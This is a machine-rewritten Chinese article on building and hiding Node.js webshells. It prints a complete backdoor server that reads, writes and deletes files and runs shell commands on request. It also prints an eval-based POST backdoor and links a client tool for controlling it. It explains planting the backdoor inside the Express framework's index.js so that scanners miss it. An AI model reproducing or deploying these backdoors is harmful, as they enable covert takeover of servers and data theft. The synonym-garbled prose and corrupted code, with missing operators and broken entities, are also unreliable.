BurpSuite专用工具来开展检测Post要求实例
0x00 序言
“webshell” 这一关键词在白与黑的专业术语中经常会出现,它具备实际操作总体目标web网站的文件权限,而webshell在web杀毒中是敏感的,管理人员能够 根据web系统日志开展追溯,进而杀毒webshell。在web杀毒软件中,webshell脚本制作不足健硕会立即被BAN掉。
“怎样绕开XX狗”,“怎样才可以更为隐敝”,“webshell总流量数据加密”等难题也在安全圈中也是老调重弹的难题。而一句话木马渐渐地兴起,它十分简洁明了,只必须中国菜刀等管理方法webshell的专用工具开展相互配合就可以管理方法网络服务器文档。
那麼这篇文章内容给大伙儿详细介绍一种新的web应用侧门,它是“nodeJS”,大家从简易掌握nodeJs到nodeJs版中国菜刀脚本编写。
0x01 nodeJS的简易简述
NodeJS是一种后端语言,由C 撰写而成,它的句法结构遵照了前端开发JavaScript英语的语法。
nodeJs不用web容器,nodeJs自身便是web容器。
大家看下面事例:
很有可能这张图片了解起來并不是太清晰,那麼大家简易撰写一段解决GET要求的编码。
大家应用最爱的BurpSuite专用工具来开展检测
Post要求实例:
能够 简易的掌握到,nodeJS沒有web容器。大家从不久的编码中所掌握到,nodeJS的一系列实际操作全是应用require()来开展引包,接着在引导的資源上开展实际操作。另外nodeJS是沒有像PHP/ASP語言中的 <?php/<% 文件头的,上去立即撰写nodeJS句子就可以。
0x02 nodeJS侧门掌握
由于沒有語言标志符(PHP中的<?php),因此 它难以被传统式的WEB杀毒专用工具所扫描仪到,小编应用”D盾”来开展检测小编撰写的nodeJS小龙。
这一小龙怎么使用,小编也不共享了,它运用起來不方便先不用说,次之下边有一种姿态来替代它。
小龙脚本制作:
let http = require('http');
let url = require('url');
let fs = require('fs');
let cmd = require('child_process');
let moduleName = ['readfile','writefile','cmd','readdir','unlink'];
let server = http.createServer((request, response)=>{
let urlObj = url.parse(request.url,true).query;
if(!urlObj.type || !moduleName.includes(urlObj.type)){
response.writeHead(404, {'Content-Type':'text/html;'});
}else{
response.writeHead(200, {'Content-Type':'text/css;'});
}
var result = '';
if(!urlObj.path){
urlObj.path = './';
}
switch(urlObj.type){
case 'readfile':
try {
result = fs.readFileSync(urlObj.path).toString();
}catch(e){
&nbs p; result = '请查验path主要参数,文档载入不成功!';
}
break;
case 'unlink':
try {
fs.unlinkSync(urlObj.path);
result = '文件删除取得成功';
}catch(e){
result = 'unlink控制模块必须path主要参数,文件删除不成功';
}
break;
case 'writefile':
if(urlObj.value){
try {
fs.writeFileSync(urlObj.path, urlObj.value);
result = '文档载入取得成功~';
}catch(e){
result = '文档载入不成功';
}
}else{
result = 'writefile控制模块必须传送path(载入途径)与value(载入內容)主要参数~';
}
break;
case 'readdir':
try{
let fileArr = fs.readdirSync(urlObj.path);
let tmpStr = '';
&n bsp;let Dirs = [];
let Files = [];
for(let i in fileArr){
try{
flag = fs.lstatSync(urlObj.path '\\' fileArr[i]).isFile();
if(flag){
Files.push(fileArr[i]);
}else{
Dirs.push(fileArr [i]);
}
}catch(e){}
}
tmpStr = `\r\n\r\n\r\n-----------↓↓↓文件目录↓↓↓-----------\r\n`;
for(let i in Dirs){
tmpStr = Dirs[i] "\r\n";
}
tmpStr = `\r\n\r\n\r\n-----------↓↓↓文档↓↓↓-----------\r\n`;
for(let i in Files){
tmpStr = Files[i] "\r\n";
}
result = `当今程序执行的途径${process.cwd()}\r\n编码储放的部位${__dirname}\r\nnodeJs文件途径${process.execPath}\r\n${tmpStr}`;
}catch(e){
result = '载入文件目录不成功';
}
break;
case 'cmd':
if(urlObj.cmd){
try{
result = cmd.execSync(urlObj.cmd);
}catch(e){
result = 'cmd指令不正确';
}
}else{
result = 'cmd控制模块必须传送cmd主要参数~';
}
break;
}
response.write(result);
response.end();
});
server.listen(5555);
这儿小编强烈推荐应用nodeJsWebshell。
第一点:由于沒有語言标志符,D盾没办法鉴别出该文件是侧门。
第二点:在运维管理人员中,掌握nodeJS的也不是过多。可是放到前端开发工作人员的身上,nodeJS是学习培训线路中必会的。但前端开发管理方法范畴大家都懂。
第三点:因为nodeJS服务项目原本就归属于安全性的WEB服务项目,这一点杀毒软件会宽容nodeJS。
第四点:由于nodeJS自身便是自身的WEB器皿,因此 nodeJS并沒有积极地去出示nodeJS WEB浏览系统日志。(但nodeJS系统日志是能够 根据编码层来完成)
缺陷便是它只合适开展中后期的管理权限保持,如刚刚小编务必运作node XXXX.js才能够 打开nodeJS服务项目。
根据这一系列要素,小编拥有一种打造出nodeJS中国菜刀的想法。
0x03 撰写水果刀构思
nodeJs承传了JavaScript的英语的语法,打开了后端语言,我们知道前台接待的JavaScript中,eval()涵数是用于实行编码的,说到这儿大家会想起PHP中的eval也会被网络黑客作为侧门来应用,那麼nodeJs存有eval,为何没人去造一款管理方法nodeJs侧门的水果刀呢?即然在网上沒有第一个实例,那小编就来造出第一个实例吧。下面是小编对水果刀的了解思维图:
那麼传统式的一句话木马如PHP一句话木马一样,只必须简易的一句话就可以 eval($_POST[x]);,可是nodeJS却没法那么简洁明了,因为它分析GET/POST要求就必须一堆编码。
在撰写nodeJs水果刀以前小编有一种猜测,是否nodeJS的eval涵数中没法引进包?也就是require涵数的实行。
那麼小编开展检测:
能够 诧异的见到fs包被取得成功引进进来了,那麼撰写中国菜刀的理想化也就又近了一步。
0x04 水果刀撰写
小编在这儿写了一段解决POST要求的编码,而且进到eval涵数,来做到销售市场上一切正常的一句话的实际效果。编码以下:
这儿nodeJS怪异就怪异在解决POST要求应用了nodeJS自身封裝的addListener恶性事件方式,图中的一系列编码便是在表明 eval($_POST[‘heihu’]),那样的“一句话”还简直“一句话”...
下边应用BurpSuite来测试一下console.log看是不是能够 取得成功程序运行。
能够 见到console.log()取得成功强制执行。
NodeJS一句话脚本制作:
var http = require('http');
var querystring = require('querystring');
var server = http.createServer(function(request, response){
response.writeHead(200, {'Content-Type':'text/html;charset=utf8'});
if(request.method.toLocaleLowerCase() == 'post'){
var string = '';
request.addListener('data', function(chunk){
string = chunk;
});
request.addListener('end', function(){
var strObj = querystring.parse(string);
if(strObj.heihu){
try {
eval(strObj.heihu);
response.end('Eval Ok');
}catch(e){
console.log(e);
response.end('Eval Error');
}
}else{
response.end('Pass Error');
}
});
}else{
&nbs p; response.end();
}
});
server.listen(5555);
那麼小编应用“e语言”来进行这一中国菜刀的好项目吧~(对,你没看错,便是e语言)
最先页面非常简单,也就是一个登陆对话框。
点击“朝着管理权限攻击~”按键后
推送POST要求,內容是response.end(‘shellOk’);,假如网页页面真实回到shellOk后,则意味着shell能够 取得成功连接,不然则连接不成功。当 连接取得成功时,则进到对话框一,对话框一的页面是那样的:
当加载该对话框则推送一条文件目录文档解析xml的编码至服务器端。
彻底仿真模拟了大家BurpSuite时的实际操作。专用工具仅仅将一些句子所有封裝起來,随后推送。
下面小编就已不剖析源代码中每一行的实际意义了,小编会将源代码共享资源到这儿,大伙儿能够 去能够 打造出一个归属于自身的nodeJS侧门可视化工具。
专用工具应用实例:
百度搜索百度云下载源代码:https://pan.baidu.com/s/2GBU3FKzP-Gx-gW_ldktdzSg 提取码:6666
0x05 nodeJS侧门的隐敝方法
大家自然不愿独立的去建立一个JS文档,随后去置放侧门,那样被杀毒的几率也是有的,但小编这儿想起了一种nodeJS侧门的隐敝方法。
Express为nodeJS中运用最普遍的架构,它很容易就可以去解决nodeJS路由器。
大家首先看一个express的简易实例:
在应用express架构中,迫不得已require(‘express’);后再开展实际操作,在nodeJS中,被require进去的包,尽管只能够 接受到exports所曝露出去的自变量,可是每列NodeJs句子也会强制执行,大家精准定位到express中关键加载的文档。
在./node_modules/express/index.js文件中我们可以见到一切正常的解决逻辑性:
大家在这其中插进大家的侧门脚本制作编码:
这儿必须留意的是,这儿的listen不必与express架构中的端口号相同,不然可能导致端口号矛盾。
置放侧门后全部架构打开了2个端口号,分别是5555端口号及其6666端口号,这两个端口号5555端口号为express架构的一切正常服务项目,而6666端口号是大家的侧门端口号。如图所示:
相关文章
- 3条评论
- 边侣七凉2022-05-31 17:50:01
- 而6666端口号是大家的侧门端口号。如图所示: 文中创作者:Heihu577
- 南殷柔侣2022-05-31 23:03:29
- }catch(e){ &
- 可难谜兔2022-06-01 03:15:18
- ; try { fs.unlinkSyn